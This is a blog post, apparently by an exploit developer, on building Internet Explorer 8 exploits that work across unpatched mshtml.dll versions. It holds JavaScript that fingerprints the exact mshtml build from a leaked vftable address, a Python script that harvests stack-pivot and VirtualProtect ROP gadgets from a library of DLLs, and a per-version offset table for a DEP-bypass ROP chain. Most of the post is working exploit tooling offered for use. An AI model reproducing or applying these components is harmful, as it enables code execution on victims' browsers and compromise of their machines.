Hello all

Once upon a time I was writing some exploit for internet explorer. The problem for exploiting IE was that I had no capability to detect exact version of mshtml.dll module. So my ROP gadgets were working only for one exact version of unpatched DLL. To overcome this hurdle and write some exploits that work on every unpatched system I had to solve two problems:

– Find a way to detect mshtml module version

– Automatically generate ROP gadgets for archive of mshtml.dll

Detect module Version by leakage:

In other browsers it is possible to detect exact version of by the help of User-agent http header or Javascript navigator.userAgent. But in case of internet explorer there is just the major version for example: 9.0 or 8.0.

In advanced browser exploits most of the time we have to Leak some address from the module to calculate offset of Image Base. In my case I was leaking address of CObject vftable. I compared the offset of leaked address with another version of unpatched mshtml:

mshtml.dll 8.0.7601.17744 : 0x2F64 mshtml.dll 8.0.7601.17785 : 0x2FF4

So here we can use this simple trick to detect the versions. So I archived a library of my target browser:

And I made the following javascript function for detecting versions:

{ offset = off & 0x0000ffff; var sWindowsVersion = navigator.userAgent.match(/Windows NT (\d+.\d+)/)[1]; var add2 = { 0x1B4C : "8.0.7600.20579", 0x1B6C : "8.0.7600.20600", 0x1C5C : "8.0.7600.20651", 0x1CEC : "8.0.7600.20795", 0x1C3C : "8.0.7600.20831", 0x1BAC : "8.0.7600.20861", 0x1C2C : "8.0.7600.20908", 0x1D2C : "8.0.7600.20975", 0x1B8C : "8.0.7600.21013", 0x1A7C : "8.0.7600.21062", 0x1BFC : "8.0.7600.21085", 0x1CCC : "8.0.7600.21108", 0x1DCC : "8.0.7600.21158", 0x2F24 : "8.0.7601.21636", 0x2E14 : "8.0.7601.21676", 0x2EFC : "8.0.7601.21735", 0x3048 : "8.0.7601.21776", 0x2DF4 : "8.0.7601.21830", 0x2F74 : "8.0.7601.21878", 0x2FF4 : "8.0.7601.21931"}; var add1 = { 0x1C0C : "8.0.7600.16385", 0x1C6C : "8.0.7600.16419", 0x1C2C : "8.0.7600.16466", 0x1B6C : "8.0.7600.16490", 0x1CDC : "8.0.7600.16671", 0x1C5C : "8.0.7600.16700", 0x1BCC : "8.0.7600.16722", 0x1BAC : "8.0.7600.16766", 0x1B9C : "8.0.7600.16853", 0x1989 : "8.0.7600.16891", 0x1A0C : "8.0.7600.16912", 0x1C7C : "8.0.7600.16930", 0x1B0C : "8.0.7600.16968", 0x2F24 : "8.0.7601.17537", 0x2E14 : "8.0.7601.17573", 0x2EFC : "8.0.7601.17622", 0x3048 : "8.0.7601.17655", 0x2F74 : "8.0.7601.17699", 0x2EA4 : "8.0.7601.17720", 0x2F64 : "8.0.7601.17744", 0x2FF4 : "8.0.7601.17785"}; if ( ScriptEngineBuildVersion().toString().substring(0,1) == '1') { return add1[offset]; } else if ( ScriptEngineBuildVersion().toString().substring(0,1) == '2') { return add2[offset]; } };

Automatic ROP Offset generation

Now we have versions so we can generate various ROP gadgets for various version. But doing such task by hand (finding offset of ROP on every module) is a tedious task. Here are the instructions of my short ROP gadget:

XCHG EAX,ESP | RET ADD ESP,30 | POP EDI | POP ESI | RETN MOV EAX,DWORD PTR DS:[ESI] | POP ESI | POP EBP | RETN4 CALL EAX | RETN

I used these instructions for simply stack pivoting and calling virtual protect function so evading DEP protection. I was looking for some library or tools that I could automate the task of finding the gadgets offset in all modules that my old co-mate shahin told me how we can make it easily in python.

#------------------------------------------------------------------------------- # Name: MSHTML_GEN_ROP.py # Purpose: VirtualProtect() ROP Finder # # Author: Shahin Ramezany # IE-ROP: Ahmad Moghimi # Created: 18/08/2012 # Copyright: (c) ZDResearch 2012 # Licence: GPL v3 #------------------------------------------------------------------------------- #!/usr/bin/env python import sys import pefile import pydasm import os def Loadpe(path): #load PE pe = pefile.PE(path) print "

" print "[+] MSHTML.dll version : " , pe.FileInfo[0].StringTable[0].entries['ProductVersion'] fi = open('mshtml.dll_%s.txt'%(pe.FileInfo[0].StringTable[0].entries['ProductVersion']), 'w+') # looking for sections in PE #for section in pe.sections: #if section.Name.find(".text") != -1 : #print "[+] Found .text Section At Base : " , hex(section.VirtualAddress) # looking for kernel32.dll for entry in pe.DIRECTORY_ENTRY_IMPORT: if entry.dll.lower().find("kernel32") != -1 : #print "[+] Found Kernel32.dll" for imp in entry.imports: if imp.name.find("VirtualProtect") != -1 : print '[+] Found VirtualProtect Import At : ', hex(imp.address - pe.OPTIONAL_HEADER.ImageBase) fi.write('[+] Found VirtualProtect Import At %s:

'%(hex(imp.address - pe.OPTIONAL_HEADER.ImageBase))) ep = pe.OPTIONAL_HEADER.AddressOfEntryPoint ep_ava = ep+pe.OPTIONAL_HEADER.ImageBase text_va = pe.sections[0].VirtualAddress data = pe.get_memory_mapped_image()[text_va:text_va+pe.sections[0].SizeOfRawData] gadg_offset = data.find('\x94\xc3') x = gadg_offset + 2 print "[+] Pivot Offset : %s"%(hex(gadg_offset+text_va)) fi.write("[+] Pivot Offset : %s

"%(hex(gadg_offset+text_va))) while gadg_offset < x: i = pydasm.get_instruction(data[gadg_offset:], pydasm.MODE_32) print pydasm.get_instruction_string(i, pydasm.FORMAT_INTEL, ep_ava+gadg_offset) fi.write(pydasm.get_instruction_string(i, pydasm.FORMAT_INTEL, ep_ava+gadg_offset)) fi.write('

') gadg_offset += i.length gadg_offset = data.find('\x83\xc4\x30\x5f\x5e\xc3') x = gadg_offset + 6 print "[+] Gadget I Offset : %s"%(hex(gadg_offset+text_va)) fi.write("[+] Gadget I Offset : %s

"%(hex(gadg_offset+text_va))) while gadg_offset < x: i = pydasm.get_instruction(data[gadg_offset:], pydasm.MODE_32) print pydasm.get_instruction_string(i, pydasm.FORMAT_INTEL, ep_ava+gadg_offset) fi.write(pydasm.get_instruction_string(i, pydasm.FORMAT_INTEL, ep_ava+gadg_offset)) fi.write('

') gadg_offset += i.length gadg_offset = data.find('\x8b\x06\x5e\x5d\xc2\x04\x00') x = gadg_offset + 7 print "[+] Gadget II Offset : %s"%(hex(gadg_offset+text_va)) fi.write("[+] Gadget II Offset : %s

"%(hex(gadg_offset+text_va))) while gadg_offset < x: i = pydasm.get_instruction(data[gadg_offset:], pydasm.MODE_32) print pydasm.get_instruction_string(i, pydasm.FORMAT_INTEL, ep_ava+gadg_offset) fi.write(pydasm.get_instruction_string(i, pydasm.FORMAT_INTEL, ep_ava+gadg_offset)) fi.write('

') gadg_offset += i.length gadg_offset = data.find('\xff\xd0\xc3') x = gadg_offset + 3 print "[+] Gadget III Offset : %s"%(hex(gadg_offset+text_va)) fi.write("[+] Gadget III Offset : %s

"%(hex(gadg_offset+text_va))) while gadg_offset < x: i = pydasm.get_instruction(data[gadg_offset:], pydasm.MODE_32) print pydasm.get_instruction_string(i, pydasm.FORMAT_INTEL, ep_ava+gadg_offset) fi.write(pydasm.get_instruction_string(i, pydasm.FORMAT_INTEL, ep_ava+gadg_offset)) fi.write('

') gadg_offset += i.length fi.close() if __name__ == '__main__': walker = list(os.walk(os.path.abspath("D:\\ie8_mshtml")))[0] folders = walker[1] for folder in folders: walker = list(os.walk(os.path.abspath("D:\\ie8_mshtml\\%s"%(folder))))[0] files = walker[2] for fi in files: if fi == 'mshtml.dll': Loadpe("D:\\ie8_mshtml\\%s\\%s"%(folder, fi))

And we combined the result with javascript json to initialize proper gadgets for proper version. Here is the javascript function:

{ // VERSION: VTABLE OFFSET : VP : Pivot : Gadget I : Gadget II : Gadget III offsets = { "8.0.7600.20579" : [0xB1B4C, 0x1308, 0xdcc3, 0x1b11a4, 0x21e4, 0x265d99], "8.0.7600.20600" : [0xB1B6C, 0x1308, 0x11827, 0x1b108c, 0x21e4, 0x265c59], "8.0.7600.20651" : [0xB1C5C, 0x1310, 0xe28e, 0x1b113c, 0x21ec, 0x265e39], "8.0.7600.20795" : [0xB1CEC, 0x1344, 0xdc74, 0x1b0fbc, 0x2220, 0x265b8e], "8.0.7600.20831" : [0xB1C3C, 0x1348, 0x118b7, 0x1b0f6c, 0x2228, 0x265d4e], "8.0.7600.20861" : [0xB1BAC, 0x1348, 0xdd54, 0x1b0fbc, 0x2228, 0x265bbe], "8.0.7600.20908" : [0xB1C2C, 0x1348, 0xdd54, 0x1b1234, 0x2228, 0x265e1e], "8.0.7600.20975" : [0xB1D2C, 0x1348, 0x11987, 0x1b1154, 0x222c, 0x265d2e], "8.0.7600.21013" : [0xB1B8C, 0x134c, 0x1197f, 0x1b123c, 0x2230, 0x265fc0], "8.0.7600.21062" : [0xB1A7C, 0x134c, 0x1197b, 0x1b1114, 0x2230, 0x265dc1], "8.0.7600.21085" : [0xB1BFC, 0x133c, 0x119ab, 0x1b11e4, 0x2248, 0x265837], "8.0.7600.21108" : [0xB1CCC, 0x133c, 0x119ab, 0x1b1324, 0x2248, 0x265a43], "8.0.7600.21158" : [0xB1DCC, 0x133c, 0x119ab, 0x1b12a4, 0x2248, 0x265927], "8.0.7601.21636" : [0xF2F24, 0x1348, 0x1b44b, 0x1b0b1e, 0x23b4, 0x25fbfc], "8.0.7601.21676" : [0xF2E14, 0x1348, 0x1b43f, 0x1b07c6, 0x23b4, 0x25fbcc], "8.0.7601.21735" : [0xF2EFC, 0x1348, 0x1b503, 0x1b0806, 0x23bc, 0x25fdec], "8.0.7601.21776" : [0xF3048, 0x134c, 0x1b4ef, 0x1b0c16, 0x23bc, 0x25fd5b], "8.0.7601.21830" : [0xF2DF4, 0x134c, 0x1b4bf, 0x1b08e6, 0x23bc, 0x25fd36], "8.0.7601.21878" : [0xF2F74, 0x133c, 0x1b4ef, 0x1b0826, 0x23d4, 0x25f414], "8.0.7601.21931" : [0xF2FF4, 0x133c, 0x1b4ef, 0x1b0846, 0x23d4, 0x25f411], "8.0.7600.16385" : [0xB1C0C, 0x1308, 0x117ef, 0x1b1124, 0x21e0, 0x265d89], "8.0.7600.16419" : [0xB1C6C, 0x1308, 0x117cf, 0x1b11c4, 0x21e0, 0x265fe9], "8.0.7600.16466" : [0xB1C2C, 0x1308, 0x117df, 0x1b11c4, 0x21e0, 0x265fe9], "8.0.7600.16490" : [0xB1B6C, 0x1308, 0x11827, 0x1b10ac, 0x21e0, 0x265c59], "8.0.7600.16671" : [0xB1CDC, 0x1344, 0x1184f, 0x1b1004, 0x2220, 0x265e4e], "8.0.7600.16700" : [0xB1C5C, 0x1348, 0x1184f, 0x1b0f24, 0x2228, 0x265dbe], "8.0.7600.16722" : [0xB1BCC, 0x1348, 0x11847, 0x1b1064, 0x2228, 0x265b6e], "8.0.7600.16766" : [0xB1BAC, 0x1348, 0x1184f, 0x1b0fbc, 0x2228, 0x265f1e], "8.0.7600.16853" : [0xB1B9C, 0x134c, 0x1192f, 0x1b11f4, 0x2230, 0x265f40], "8.0.7600.16891" : [0xB1989, 0x134c, 0x118ff, 0x1b0f4c, 0x2230, 0x265d13], "8.0.7600.16912" : [0xB1A0C, 0x133c, 0x1191b, 0x1b0eb4, 0x2244, 0x2654d7], "8.0.7600.16930" : [0xB1C7C, 0x133c, 0x1191b, 0x1b101c, 0x2244, 0x265622], "8.0.7600.16968" : [0xB1B0C, 0x133c, 0x1191b, 0x1b0e6c, 0x2244, 0x265434], "8.0.7601.17537" : [0xF2F24, 0x1348, 0x1b44b, 0x1b0b1e, 0x23b4, 0x25fbfc], "8.0.7601.17573" : [0xF2E14, 0x1348, 0x1b43f, 0x1b07c6, 0x23b4, 0x25fbcc], "8.0.7601.17622" : [0xF2EFC, 0x1348, 0x1b503, 0x1b0806, 0x23bc, 0x25fdec], "8.0.7601.17655" : [0xF3048, 0x134c, 0x1b4ef, 0x1b0c16, 0x23bc, 0x25fd5b], "8.0.7601.17699" : [0xF2F74, 0x134c, 0x1b4ef, 0x1b0a96, 0x23bc, 0x25fac6], "8.0.7601.17720" : [0xF2EA4, 0x133c, 0x1b4e3, 0x1b07d6, 0x23cc, 0x25f483], "8.0.7601.17744" : [0xF2F64, 0x133c, 0x1b4e3, 0x1b07d6, 0x23cc, 0x25f43c], "8.0.7601.17785" : [0xF2FF4, 0x133c, 0x1b4ef, 0x1b0846, 0x23cc, 0x25f41d]}; baseOffset = offsets[version][0]; vp = offsets[version][1]; pivot = offsets[version][2]; gadg1 = offsets[version][3]; gadg2 = offsets[version][4]; gadg3 = offsets[version][5]; }

That’s it.

PS : if you are interested in exploitation and reverse engineering you can use our training courses.

By Ahmad Moghimi